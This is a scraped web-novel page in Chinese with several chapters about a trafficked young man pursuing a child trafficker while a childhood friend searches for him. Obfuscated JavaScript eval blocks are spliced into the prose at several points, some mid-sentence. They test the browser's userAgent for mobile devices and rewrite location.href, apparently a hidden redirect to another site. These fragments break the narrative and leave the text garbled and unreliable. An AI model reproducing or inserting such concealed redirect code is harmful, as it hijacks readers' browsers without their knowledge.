吴旭东赶紧把孩子交给他:“快去报案,这孩子是被拐的,我去追人贩子,是个本地口音的光头,叫柴猛,昨天晚上交警那里有他出事故的记录,快去!” 楚劲雄正生气呢,气他的隐瞒,气他不把自己当兄弟。 却还是伸手拽住了他:“救下孩子就行了!还去追?你不要命了,小心他们杀你灭口!” “那就拜托你,一定要在我的墓碑上刻上吴旭东!”吴旭东直接交代遗言,挣脱后头也不回地冲了出去。 像一支刺破苍穹的利箭,一个人,竟然跑出了千军万马的气势。 宁死不退! 这强大的意志力和坚定的执行力,瞬间动摇了楚劲雄的恨意。 吴旭东不告诉他堂哥的事,会不会是有苦衷? 他捏紧了裤兜里的软中华,想问个清楚,可是人已经跑远。 不管了,孩子在哭,先报警。 转身的时候撞上了行色匆匆的女人。 正是落后几步的史青霞,她把自行车留在了路边的修车铺,过来赶公交。 她被吴旭东三个字给定住了,跌倒在地,迟迟没有起来。 手上的文件袋也摔了出去,里面的东西撒了出来。 楚劲雄赶紧道歉。 史青霞也是这个学校毕业的,怎么敢对楚主任的儿子发火。 她笑着爬了起来:“没事,一点皮毛伤。” 那就好,楚劲雄急切道,“你会抱孩子吧?快帮我。” “好,你捡下文件袋。”史青霞抱起啼哭不止的孩子,好奇道:“谁的孩子?怎么一直哭?” “人贩子拐卖的,我兄弟刚把孩子救下来,我得去报警。”说话间楚劲雄看到了地上的寻人启事。 一道惊雷正中他的头顶! 吴旭东! 这三个字特别大特别醒目! 更醒目的,是旁边的照片。 那是一个三岁小孩的照片,因为还没有长开,所以猛地一看,并不会直接跟吴旭东对号入座。 可是楚劲雄跟吴旭东相处了四年。 他还见过吴旭东小学毕业的照片。 显然,这个三岁小孩的脸模样可以非常自然地过渡到吴旭东的小学毕业照,再过度到如今的吴旭东。 一脉相承的帅气和俊秀。 不同的是,三岁的这张笑得可爱,露出贝壳一样雪白的牙齿。 而小学毕业照,简直就像身陷绝境的困兽,双拳紧握,虎视眈眈,满脸都是要跟人拼命的暴戾狠辣。 楚劲雄赶紧捡起来,问道:“谁给你的?” “周子琰啊,怎么,你认识照片上的人?”史青霞刚才只看到了背影,没认出来那是谁,而她昨晚在饭店只是匆匆一瞥,并没有把那个王耀宗跟照片上的吴旭东联系在一起。 毕竟一个二十二岁,一个三岁。 一个目中无人,一个天真烂漫。 楚劲雄苦涩地笑笑,没有回答。 果然是周子琰吗? 她就是来找吴旭东的对不对? 昨晚在路口停下,她看吴旭东的眼神就不太对劲,还特地确认了一遍名字。 后来吴旭东拒绝了她,她居然主动借了雨伞给他们。 太不合情理了。 原来缘分在这里呢。 难怪吴旭东手里会有她的钱,还要给她软中华。 吴旭东那么穷,什么时候这么大方过。 就连他这个好兄弟,都没抽过吴旭东一根软中华。 结果那个混蛋,一出手就给了整整一包! 原来是背着他攀上高枝了。 那又何必在他面前惺惺作态呢? 难道他还会嫉妒自己的好兄弟吗? 难道他会做出什么下三滥的事情搞破坏吗? 他是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634914|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种人吗? 居然这样亵渎他的兄弟情义! 亏他还去找他老子,想要去邮电局上班,照应吴旭东。 自作多情! 结果呢? 他老子的话被验证了。 他被好兄弟排除在新的圈子之外了。 他一把撕了这张寻人启事:“不用登了,周子琰已经找到吴旭东了。” “啊……”史青霞一头雾水,“谁啊,我认识吗?” 楚劲雄失望透顶,孩子还在哭,他烦躁地抓了把头发,抬腿往派出所走去。 史青霞急死了,抱着孩子追上去:“说呀!” “王耀宗!”楚劲雄快气死了。 什么?王耀宗?她追了上去:“你是说你那个朋友?不怎么像啊。” 楚劲雄不想废话,这个孩子吵死了,一直哭,都传染给他了。 他加快了脚步,逃命似的奔走。 史青霞追上去拽住了他:“等等,如果真是这样,你不应该为他感到高兴吗?” “这么大的事情,他没有告诉我,我还应该高兴吗?”楚劲雄感到屈辱。 史青霞乐了:“那倒不奇怪,既然他跟周子琰是旧相识,那他的家庭条件肯定比你好多了,当然看不上你了。” “闭嘴!”楚劲雄生无可恋的向前走着,“帮他办完最后一件事,我就跟他绝交!” “别犯傻呀!解救被拐卖的孩子可是大功一件,既然他不仁,那你就不义,等会去了派出所,就说是你救的。”史青霞正削尖了脑袋想往上爬呢。 如果这事被她写成一篇特稿,楚主任那边肯定愿意推她一把。 她家社长是楚主任的同学。 楚劲雄摇摇头,不肯。 她锲而不舍地怂恿:“难道你不想站得高一点,风光一点,让他高攀不起吗?说不定到时候还得巴结你。” 楚劲雄烦了,直接把孩子抢过来,头也不回的去了派出所。 警察这里显然有吴旭东寻亲的备案,做登记的时候确认道:“吴旭东?就是那个王耀宗吧?稍后我们会联系广播电台寻找孩子的父母,你劝他到时候过来一趟,做个笔录,以后不管是找工作还是往上升,都是个加分项。这不是他第一次救孩子了,回回都要做好事不留名,太傻了。” 是啊,为什么呢? 也许是怕人贩子团伙打击报复他。 可是吴旭东的名字还没有改过来,楚劲雄问了问这种情况怎么办。 警察宽慰道:“等会通报的时候,就说是王耀宗,要不然档案上不好办,等他以后改了名字,再一起改过来。你放心,他大一的时候就在这里备案过了,隔三差五就来,熟人。” “谢了同志。”楚劲雄松了口气。 出了派出所,史青霞骂他白痴。 他没理,闷头往学校去,史青霞不甘心,就算救人的是吴旭东,可是楚劲雄也帮忙了啊,今天这个特稿,她非写不可。 又锲而不舍地追了上去。 * 吴旭东追丢了光头,索性回了车上,躲在了装货的纸箱子后面。 光头找老中医正了骨,还在半路买了把菜刀揣着。 又回家找到了他老婆,骂骂咧咧的过来了。 见货车还在原地,孩子没了,只能自认倒霉。 “他妈的,别让我再看到他!下次肯定弄死他!走,去接那个聋哑儿。” 女人进了货厢坐下,猛不丁被人一掌劈晕,昏死过去。 同一时间,周子琰给王腾虎办完了出院手续。 王腾虎挣扎着进了汽车后座。 他很是担心:“怪了,我弟怎么还不来?” “你弟是谁?”周子琰系上安全带,打开了汽车广播,准备出发。 王腾虎报了个名字。 周子琰心中一惊,王耀宗? 这么巧? 8. 发狠 王腾虎其貌不扬,塌鼻梁,三白眼。 加上他皮肤不好,整个人像是攀附在船底的藤壶,黑不溜秋,麻麻赖赖,坑坑洼洼。 转业之前是无线电通信连的连长。 周子琰跟他不熟。 但她正好来这边军工厂办事,便担下了送他回来的任务。 她怎么也没想到,王腾虎居然是王耀宗的哥哥。 两人一点都不像,一点都不! 完全南辕北辙! 一个冷白皮,孤标傲世,是那难以攀缘的山巅傲霜柏。 一个黑麻赖,世俗圆滑,是那随处可见的水田滚泥蛙。 个头也相差悬殊,一个一米九以上,一个勉强一米七。 怀疑犹如蔓延的野火,无法控制。 周子琰不动声色,问道:“亲兄弟吗?” “不是,我叔家的,还是个大学生呢。”王腾虎很是自豪,“我叔就他一个儿子,前头生了五个姑娘才有了这么一个宝贝。” 是吗? 就算是堂兄弟,也不至于完全找不到相似之处,除非两个人根本没有血缘关系。 家里五个女儿,确实符合男童被拐的一贯特点——为了要个儿子传宗接代。 那么…… 王耀宗是小东吗? 这块讨人嫌的南极坚冰,竟然就是她苦苦找寻的暖心小火炉? 是谁灭了他的炉火,让他冰冷彻骨? 是被虐待了吗? 记事了,养不熟,所以…… 她简直不敢想。 只得套话:“全家的宝贝,在家是不是称王称霸?” 王腾虎得意的笑:“可不是,脾气臭得很。从小到大没少挨我叔打,这小子逆反心强,后来还跟我叔动手,气得叔伯几个一起揍了他几顿,最后终于乖了。要是不管他,哪能考得上大学。” “是吗?几个长辈一起打?”周子琰握紧了方向盘,需要很用力,才能压下自己打人的冲动。 王耀宗果然就是小东吧,因为没有哪个亲生父母舍得让叔伯来教训孩子。 难怪这么热的天,小东的手那么凉。 一定是落下什么病根了。 她竭力隐忍,方向盘上的橡胶套被她无声掐碎。 王腾虎无知无觉,笑道:“不打他能上房揭瓦,当然要打。” “你也打过吗?”周子琰握紧了拳头,闭上眼,声音很轻,轻到不忍触碰那狰狞的真相。 王腾虎完全没当回事,笑着说道:“当然,他小时候最怕我。” 很好,很好。 姑奶奶会让你为这句话付出代价! 周子琰一刻也不想等了,她要找到小东! 深吸一口气,打满方向盘,出库。 王腾虎看看自己的手表:“耀宗一向守时,今天没来可能是有事耽误了,周指导去学校接一下吧?要不然,你一个人照应我,还要开车,挺辛苦的。” 废话!她现在去的就是学校! 周子琰沉默地在路口停下,等红灯。 一辆老旧货车停在了对向车道,司机正是昨晚那个光头。 保险杠坏了也不修。 绿灯亮,货车右拐,向着出城的那条路。 周子琰着急找她的小东,没有理会,直奔大学。 * 楚劲雄路过杂志社门口,忽然意识到了什么。 他停下脚步,问道:“周子琰没有找你撤回内封的寻人启事?” “没有啊,可能有事吧,没顾上。”史青霞也意识到了不对劲。 难道周子琰跟吴旭东其实还没有相认,只是误打误撞,让她跟楚劲雄先知道了真相? 楚劲雄问了下内封的价位,不禁倒吸一口凉气:“三万一年?她可真舍得!” 这个女人疯了吧!远比他想象的还要在乎吴旭东! 难怪昨天看吴旭东的眼神那么不对劲。 搞不好,这些年一直在心里想着念着,已经产生了非同一般的感情。 一旦她知道吴旭东受过的罪…… 不,周子琰一定还不知道王耀宗就是吴旭东! 她要是知道了,一个电话就可以阻止这三万的损失,不可能置之不理。 而且肯定要来学校找吴旭东,帮他去王家沟拿走户口本,改名字。 不行,周子琰有危险! 因为吴旭东告诉过他,王家沟的人全都知道他是被拐去的。 王腾虎自然也不例外。 那是一个相当团结,相当排外的村子,简直就是铁板一块,在宗族势力面前,连法律都要经常吃瘪。 周子琰一旦送王腾虎去了王家沟,看到吴旭东从小到大的生活照,一定会认出来的。 到时候她肯定有危险。 毕竟穷山恶水出刁民,一个外地女人,人生地不熟的,路上随便出点什么事故死了,不是挺合情合理的吗? 她开的又是私家车,动点手脚,再方便不过。 周子琰有危险,吴旭东也有危险。 一个即将去往买家的虎狼窝,一个主动追着卖家的恶龙潭。 看来吴旭东那个愣头青,根本不知道周子琰是来找他的。 要不然他一定会找周子琰帮忙,一起抓人贩子,尽早结束这一切,回归吴家。 而不是留下遗言,独自奔赴危险的漩涡。 楚劲雄吓出一身的冷汗来,这事不能放任不管。 是他误会了吴旭东,自顾自生了一早上的气,蠢死了! 本来已经不打算去医院了,当下立马调头,拔腿就跑。 * 楚劲雄刚到路口,便看到那辆黑色流光的宝马M3从远处开了过来。 他穿着校服,周子琰装作不认识他,摇下车窗问道:“同学,见到王耀宗了吗?” 楚劲雄看了眼后座的王腾虎,这个男人的笑很虚伪,心里在盘算着什么,没人知道。 但他知道,强龙压不过地头蛇。 千万不能让周子琰去王家沟,得想个办法提醒她。 他撒了个非常拙劣的谎言:“他们班去郊外聚会了,毕业前的留念。” 可是他们昨晚不欢而散,今天聚的哪门子会? 他相信周子琰听得懂。 周子琰眯眼打量着他,没有说话。 他在撒谎。 她知道。 他也知道她知道。 但他还是在撒谎,为什么? 只能是为了小东! 她装作什么也不知道,神色平静地看向了后座:“老王,怎么办?等吗?” “不了,毕业聚会,他不去不合适。”王腾虎松了口气,不是出事了就好。 耀宗可是他叔唯一的希望。 他看向楚劲雄,带着谨慎:“你是他哪个朋友?” “徐大东,他让我帮他送一下他堂哥,是你吧哥?”楚劲雄胡诌了一个名字。 但又带了暗示,“徐”是“旭”,东就是东,长大的吴旭东在他身边。 希望周子琰能听懂。 他不得不这么做。 万一王腾虎早就知道吴旭东跟他关系好,肯定不能让他上车。 因为王腾虎知情不报,妥妥的帮凶,肯定不敢让楚劲雄出现在战友面前,万一说漏嘴那就前程尽毁。 不过,从王腾虎的态度来看,应该不知道周子琰跟吴旭东是旧相识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对付穷山恶水的刁民,一定要比他们沉得住气,一定! 好在假肢厂里面有公用电话亭。 她不动声色的拐入了厂区内的林荫道。 两人下车给王腾虎搬轮椅,周子琰后备箱里有笔,她在手心写下个三个字:“吴旭东?” 楚劲雄连连点头,动嘴不出声地劝她:别去王家沟! 周子琰没有答应他,她不确定小东在不在那辆货车上。 她让楚劲雄照顾王腾虎试穿假肢,她借口上厕所,拿走车上的地图,来到了电话亭前。 光头刚刚拐进的是出城的路,一条直通东莱镇的省道,路上有三个加油站,不清楚具体会在哪里停下。 不管是哪里,都顺路,先追着! 抓起话筒,周子琰拨通了部队的电话:“何政委你好,我是周子琰。” “小周啊,事儿办完了?”何政委笑呵呵的。 周子琰正色道:“报告何政委,我有紧急情况汇报!请批准我一周假期解救被拐的朋友。同时,请安排一个纪律检查小组前往王腾虎家,我实名举报,王腾虎同志是拐卖人口的帮凶,知情不报,对不起组织栽培!” “什么?当真?小周啊,这个罪名可不小啊!你有确切的证据吗?”何政委惊呆了。 “何政委,一定要让纪律检查小组抓紧时间赶来,要不然,我不保证会发生什么。” 她会不惜一切代价,让整个王家沟悔不当初。 9. 奔赴 挂断政委的电话,周子琰拨通了110,报案,提供光头的去向。 果然。 楚劲雄已经报案,一身孤胆的小东,一个人对付那些杀千刀的去了。 这让周子琰心中万分担心,他行吗? 手那么凉,身体素质一定很差。 好在货车的去向已知,就是不知道小东在不在上面。 如果把王腾虎丢下去追…… 不,人贩子也许去的就是东莱镇呢? 她需要带着王腾虎,这既是她动用当地力量的“代理人”,也是对抗王家沟的筹码。 一个是拐来的野孩子吴旭东,心怀怨恨,永远都养不熟。 一个是自家生养的军转干部王腾虎,土生土长,至亲血肉。 不用问,除了买家,都会选王腾虎。 王腾虎行动不便,她有的是办法让他留在自己身边,王家沟的人必然不敢乱来。 不过她不能亲自动手,倒不是怕他们,只是不想违反纪律。 她需要她现在的地位,凡事不能鲁莽,除非万不得已。 她也不怕他们拖延时间,只要纪律检查小组一到,王家必然服软。 是要王腾虎的乌纱帽,还是要一个随时准备跑路的野孩子? 毫无疑问。 挂断电话后,又打给了一个人。 对面听到她的声音,显然有些难为情:“我知道你早晚会打过来,你要退婚是吗?” “笑话,还需要退吗?”对方连孩子都有了,不需要多此一举。 周子琰并不难过,毕竟这事早晚会发生。 她的一颗心早就掰成了两半,一半为工作,一半找小东。 婚事又不是她定的,是她爸的战友临死前紧紧抓着她爸的手,打感情牌,逼着她爸答应的。 她一直没空理会这个未婚夫,现在找了女朋友也有了孩子,也算是一个了断。 她很不客气地结束了这个话题:“别啰嗦,说正事。” “啊……嗯,好,你说。”男人笨拙的回应着,尴尬溢于言表。 周子琰问道:“你表哥不是有个马戏团吗?” “嗯,有事找他?”诸葛光态度积极,非常配合。 周子琰不跟他客气:“让他去东莱镇王家沟,演出几天,当我的烟雾弹。” “等等,我拿笔记一下。”诸葛光赶紧去找纸笔。 周子琰叮嘱道:“要快,今天下午就要到场,演出费用我给三倍。记住了,让他装作不认识我,别人问他谁请的马戏团,就说是王耀宗请的,庆祝王腾虎荣归故里。” “知道了,你……在外面凡事小心。”诸葛光挂断电话,默默叹了口气。 不是他不想等她,是她眼里根本没他,只有那个吴旭东。 这都多少年了,一休息就去找吴旭东,从来不肯跟他约会,手也不让牵,面也很少见,对待他跟对待一个陌生人没什么区别。 他也要脸的。 哪怕再爱,也唱不了这出独角戏。 只是结束的方式,太不体面。 他只能当个逃兵,等她开口。 如今悬在头上的达摩克利斯之剑终于斩下,他反倒是松了口气。 挺好的,解脱了。 他拿起话筒,赶紧办事。 要不然,又要一顿好骂。 也不知道将来哪个男人能让她改了这暴躁的脾气。 他会等着,看着,直到彻底死心。 * 货车抛锚了。 出发的时候就不太对劲。 像个得了哮喘的老头,吭哧吭哧,终于跑不动了。 吴旭东知道,惊险的时候来了。 不过他想多了。 路上车来车往,光头生怕被人看到他那个浑身是伤的老婆,没有打开货厢门。 等待拖车过来的时间里,光头隔着车门提醒女人不要出去。 女人还昏迷着,光头以为她睡着了,骂了几句,走开了。 吴旭东松了口气。 虽然看不见外面,但他可以从时间上来估算。 从出发到现在,还不到半个小时。 还没出省城地界,再走一个多小时才到他户籍地,之后再开一个多小时,才是东莱镇。 东莱镇虽然不富裕,但是位置特殊,几条公路横穿过境,成了车来人往的枢纽站。 所以人口拐卖很猖獗。 毕竟想要快速转移一个孩子,离不开车。 而货车就是最隐蔽的交通工具之一。 也不知道光头要去的是东莱镇哪里,千万别是王家沟,要不然肯定要跟王大柱碰面,事情会很棘手。 离开王家沟上了四年的大学,他根本不知道村里有没有聋哑的男孩,接下来的路途,只能听天由命了。 蜷缩在这个狭窄的空间里,十七年前的那一幕汹涌而来。 时间太久,男人的面目早已模糊,他只记得那人嘴角有一颗指甲盖那么大的黑痣,上面还有一根胡子,很长,很长。 如果再次见到,他肯定可以认出来。 真希望早点把这个畜生找出来,连带着王大柱他们,全部弄死,以泄心头之恨! 可惜,法律没有这么解恨。 他如果不想把自己搭进去,就只能送他们去坐牢,仅此而已。 他不理解,这事带给他的是一生的伤痛,然而别人只要不痛不痒坐几年牢就好了,真可笑。 不怪老百姓喜欢用恶有恶报来安慰自己,因为法律太仁慈了。 只能寄希望于因果报应。 正胡思乱想,门外传来一阵嘈杂的音乐,好像是马戏团路过,团长提着录音机播放歌曲磁带,吸引周围百姓。 呵,马戏团。 他何尝不是被人拴着的马戏猴,一生尝尽耻辱,只是为了满足别人扭曲的欲.望。 传宗接代的欲.望。 他不懂,他又不能生,传的哪门子的宗,接的哪门子的代。 不都是女人在传在接吗? 真是个荒唐可笑的世界。 更荒唐的是那两个路过的马戏团成员,居然趴在货厢门缝隙往里看,不知道看什么。 一个男人转身问道:“师傅,我们的车坏了,你的车上有货吗?没货的话可以带我们一程吗?” 光头拒绝:“带不了,抛锚了,赶紧走。” 另一个人抱怨道:“哎,真是不知道团长怎么想的,忽然让去东莱镇表演,那么远,走过去腿都要断了。” “听说是有个大老板,开了三倍的演出费。当然要去啊,再累也要去。”同伴尝试安慰他,“再坚持坚持吧,团长说到前面二手车行租个车。” “哪个大老板啊,这么有钱?” “好像是班主表弟的什么朋友。” “叫什么,我写下来画叉叉诅咒他!” “不知道,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634916|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是个女的。” “女的?富婆啊?难怪这么任性。好吧,走吧,为了富婆,我又有力气了。” 人群谈笑着远去,喧闹的音乐被风吹散。 吴旭东莫名想起昨天晚上那个富婆。 她也会这么任性吗? 会吧。 故意留下零钱给他,真以为他看不出来吗? 可笑,他是什么很随便的人吗? 三十几块钱就想换来他的感谢买走他的尊严? 做梦! 吴旭东恨恨的,换了个姿势,蹲在角落里,左手握右手。 昨天也是这只手,被那女人抓住,硬塞了一把扳手。 那独一无二的触感,到现在都挥之不去。 真要命。 下次见她得躲着点,一点分寸感都没有。 不过也许没有下次了。 也许这趟旅途的终点是死亡。 也挺好的。 希望来生,天下无拐。 希望来生,不再流落天涯,骨肉分离。 希望来生,还可以再见到那个温柔的姐姐。 再一次告诉她,他才不是爱哭鬼,不是。 真想回到小时候,回到那个萤火漫天的日子。 那是个什么地方呢? 长这么大,再也没有见过了。 真遗憾。 死了都要化作厉鬼,全世界飞几圈,找到了看一眼,抓几只萤火虫,再去投胎。 正不着边际的瞎想,拖车来了,直奔十公里外的一个修车铺,对门开着一个二手车交易行。 一个扎着羊角辫的小姑娘正坐在门口,手里拿着她爸爸的大哥大。 * 周子琰又给吴家打了个电话,通知他们即刻出发,来王家沟接人。 小东的爸爸叫吴国正,激动得语无伦次,可惜没有直航的飞机,只能通过两地的省城中转。 周子琰还要追小东,还要跟王家沟交涉,不想让吴国正一把年纪过来受罪。 晚两天到最好。 便叮嘱道:“吴伯伯,让燕西哥找我大哥借他的大吉普,你们全家开车过来。” 吴国正没有不答应的,子琰这孩子从小就聪明,她这么安排肯定有她的道理。 周子琰又给自己弟弟打了个电话:“别睡了,赶紧去电气工程学院给我找人。” 如果小东不在货车上,一定会回学校,今天可是毕业离校的日子。 等会她再给子琛打电话确认情况。 当务之急,是去买几块镍铬电池,二姐给她买了大哥大,只是没电了,换上电池,可以随时跟子琛确认进展。 调整好情绪,她去接王腾虎。 毕竟现在王腾虎还没有被定罪,一切要等纪律检查小组定夺。 王腾虎试穿假腿,怎么也没有合适的。 车间负责人解释道:“周指导,真的没办法,王连长的身体比例不太常见,按照他的身高来,假腿普遍偏长。” 暗示王腾虎腿短身子长。 “按照他的腿长来,直径又不对。”暗示他小腿太过粗大。 什么尺寸都不合适。 周子琰预料到这样的情况,问道:“直接说吧,定做要多久。” “起码二十天。要什么材质的?”负责人赶紧蹲下量尺寸。 “玻璃钢的。”周子琰签完字,出发。 王家沟,姑奶奶来了! 10. 震惊 周子琰停在了国营商场门口。 借口买点零嘴,留下楚劲雄在车上照看王腾虎。 她想好了,两手准备。 如果小东在货车上,她现在追过去完全来得及,那货车年久失修,没她跑得快,昨天又撞了路肩,搞不好会坏在半路。 如果小东不在货车上,她可以谎称是军工厂那边的电话,让她去出个紧急任务,这样就可以调头回去找小东。 看着她的背影,王腾虎闲聊道:“徐大东,我家耀宗有没有偷偷谈女朋友啊?” “没有。”楚劲雄蹙眉。 怎么,拐了吴旭东十七年还不够,还要管他谈恋爱? 不至于这么无耻吧? 王腾虎放心了:“你们楚主任跟我说了,我家耀宗没谈,我不太相信,所以问问。他可不能谈啊,家里都给他准备好了。” 谁啊? 楚劲雄问他,他却不说。 只怕是什么见不得光的安排。 要不然早就炫耀起来了。 该不会是在王大柱的亲生女儿里选一个吧? 看王腾虎这高深莫测的样子,还真不好说。 草,别想了,人家周子琰要带吴旭东回去的,你们王家的有多远滚多远吧! 楚劲雄气得想揍人。 * 周子琰一口气买了五块电池备用。 替换后打通了周子琛的电话,边买东西边说事。 周子琛气喘吁吁:“姐,王耀宗没回来,你找他有事?” “他是小东!” “不会吧我看着不太像啊。” 这不奇怪,子琛当时还小,根本不记得小东,长大后跟小东又不在一个学院,话都没说过。 所以光靠一张照片,子琛认不出来很正常。 想起小东昨晚蹲在车里不愿意出来,周子琰心疼坏了,叮嘱道:“阿琛,小东追人贩子去了,今天不一定能回来,你考完试就去帮小东把东西收拾收拾,找个旅馆住着,等我消息。” 周子琛一头雾水,想再问问怎么回事,周子琰已经把电话挂了。 她拿起了昨晚那个车主给她的名片。 这是本地郊区二手车交易行的老板,位置就在去往东莱镇的必经之路上。 她介绍了一下大致的情况,拜托老板帮她留心一辆年久失修的旧货车,车牌号是…… 老板以为她拿自己寻开心,没想到对门来了一辆拖车,车上停着的货车恰好跟周子琰报的车牌号一致。 同一时间,交通广播响起大学生英勇打拐的通报,未免打草惊蛇,没提人贩子相关的信息。 赵建华赶紧回道:“巧了,在对门呢,你快过来,我先去看看。” 赵建华已到而立之年。 因为计划生育,目前只生了一个女儿,不过他是个体户,不怕罚款,正计划让他老婆躲出去生二胎。 昨天晚上去老丈人家,就是为了商量这事。 回来的时候赶上下大雨,车子驶过一个水坑之后熄了火,便找了个最近的修车店。 看到那个修车工的第一眼,他就料定了那是个大学生。 原因很简单,那人虽然满脸厌世,穿得老土,却掩盖不了那一身的书卷气。 一个人的时间用在了哪里是能看出来的。 就好比他,时间都用来应酬赚钱了,所以年纪轻轻已经喜提将军肚。 后来他付钱时忘了带走大哥大,找回去的时候,他老婆一直说人家肯定不会还的,毕竟一台大哥大两三万呢。 结果那个修车工二话不说就把大哥大还给了他,真是让人欣赏的高贵品质。 所以,如果真是为了帮助那个修车工,他很乐意。 对门的老板叫刚子,看到客人来,笑着迎了上去。 光头简单描述了一下最近的车辆状况。 将近二十年的老车子,设备陈旧,又撞坏了保险杠,刚子建议他直接买辆新车。 他有个朋友在汽贸城,可以给点优惠。 光头点了根丰收叼上,直接拒绝:“不换,没钱,保险杠别管,你快点给我修,赶时间。” 刚子黑着脸,车厢外很快叮叮咣咣起来。 一个熟悉的声音传到车厢里:“朋友,你这车还能开吗?要不去我家看看二手车?我那有九成新的,价格很亲民。” “不看,没钱。”光头就算想换车,也不能是现在,他货厢里面还藏着他老婆呢。 能修则修。 赵建华笑笑,琢磨着怎么确认昨晚那个修车工在不在车上。 思来想去,他扬声道:“朋友,修不好也别怕,我认识一个修车工,叫吴旭东,修车技术一流。” 刚子一听,这货拆台来了是不是? 气得丢下扳手就来撵人。 赵建华故意往车厢那边躲,笑着说道:“谁拆你台了,我也是好心,是我一个姓周的朋友介绍的,她说吴旭东可厉害了,别人修不好的,只要送到他手上,管保神气活现的上路。” 说着他故意敲了敲车厢:“这车都破成纸糊的了,送给吴旭东修最好不过。放心,都是自己人,不会给你乱开价的。” 车里的吴旭东猛地站了起来。 听声音,这不是昨晚那个落下大哥大的车主吗? 这人居然知道他的名字? 还是姓周的朋友介绍的? 他们班没有姓周的,其他院系的他只知道一个周子琛。 然而他跟周子琛根本没说过话,要不是楚劲雄爱八卦,他都不认识文学院的人。 难道是周子琰? 她怎么知道他叫吴旭东? 他狐疑地屏住呼吸,下意识往车厢门挪了几步。 对话还在继续。 刚子显然不耐烦了,气得冲上来跟赵建华推搡起来。 赵建华围着货车厢玩起了秦王绕柱,笑着说道:“别生气啊刚子,我这不是好心帮忙吗,出门在外,都是兄弟,能帮则帮。” 刚子气得不轻,一把薅住赵建华的胳膊,把他摁在了货厢车门上,导致陈旧的门板子猛地凹进去一块。 刚子挥拳威胁道:“别以为老子不知道你打的什么主意,再不滚老子卸了你的胳膊。” 赵建华笑着辩解,正好脸贴在凹陷的缝隙处,瞪大了眼睛往里看。 不期然跟吴旭东四目相对。 吴旭东怔怔的看着他,赵建华也有些意外,没想到这个大学生真的在车上呢。 他赶紧冲吴旭东使了个眼色,嚷道:“好好好,我走,我走行了吧,你松手。” 赵建华回去后唰唰写了张纸条,交给了弟弟赵建军:“快去,假装找刚子劝架,趁机塞到货厢门缝里,去!” 赵建军是个大学生,去年从文学院毕业,在报社干了几天,受不了气,就来自家哥哥这里帮忙。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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货车抛锚只是一个小问题,发动机的油管接头漏油了,一小会儿就修好了。 很快,货车重新上路。 完全不知道有一辆低调的老旧白色桑塔纳跟在了自己身后。 * 周子琰回到车上,神色平静的系上安全带,出发。 刚开出去五分钟,大哥大响了。 赵建华直接报了个加油站的名字。 王腾虎没听清楚说了什么,好奇道:“周指导,谁啊?” 周子琰不咸不淡道:“军工厂,舰队要的那批水下声呐调试好了,让我明天去试试。” “那真不错,听说是周指导亲自改进的技术?”王腾虎拍起了马屁,“还真是虎父无犬女啊。” 周子琰没理他。 他知道她老子是谁,那他知道“王耀宗”的老子是谁吗? 跟她老子可是一个炮校毕业的。 跟她大舅是连襟,做过她妈妈的同事。 她已经迫不及待想看到王腾虎吓得魂飞魄散的样子了。 一脚加了油门,飞速追赶过去。 11. 热泪 光头正开着车,老远看到前面有一群警察在路口设卡拦截。 不知道是查超载还是抓走私。 他很心虚,右打方向盘,往省道旁边的小路开去。 虽然绕了点,但也能到东莱镇。 路况不好,车子颠簸得厉害。 偶尔路过一个巨大的豁口,很容易把光头的老婆颠醒。 吴旭东赶紧把纸箱子上的胶带撕下来,准备找点什么把女人捆起来。 可是这一撕,吴旭东惊呆了。 这些外包装印着食品信息的箱子,里面装的居然是一些碎砖和石头,做做样子而已。 怪不得在巷子里的时候这货直接弃车了。 无奈,他只好时刻警惕,盯着这个女人。 车子继续颠簸,车厢门不断互相拍打着。 车门凹痕处,一缕天光时不时晃悠在他脸上。 他很快注意到了后面跟着的白色桑坦纳。 开车的正是昨晚那个老哥。 他不能让这个大哥跟着他赴险,靠近门口,比划一番,想让大哥调头回去。 赵建华摇摇头,拿起大哥大,给周子琰汇报了一下最新的位置。 周子琰在前面路口拐上小路。 王腾虎立马提醒道:“周指导,开错了,沿着省道直走就行了。” “顺路看个朋友。”周子琰随口胡诌。 警察在视线里越来越小,王腾虎好奇:“居然设卡拦截,估计出了大案子吧。” 周子琰面无表情:“缉毒,刑侦,打拐,说不准。” 王腾虎不说话了。 希望不是打拐的警察。 等会回去一定要跟村里人再上上发条,千万不能说漏嘴。 料想他们也没有这个胆子,彼此利益纠缠,都得巴结他呢。 怎么敢。 他叔就更不可能了,还指望耀宗光耀门楣呢。 至于耀宗,这都老实了四年了,应该是乖了,认清现实了。 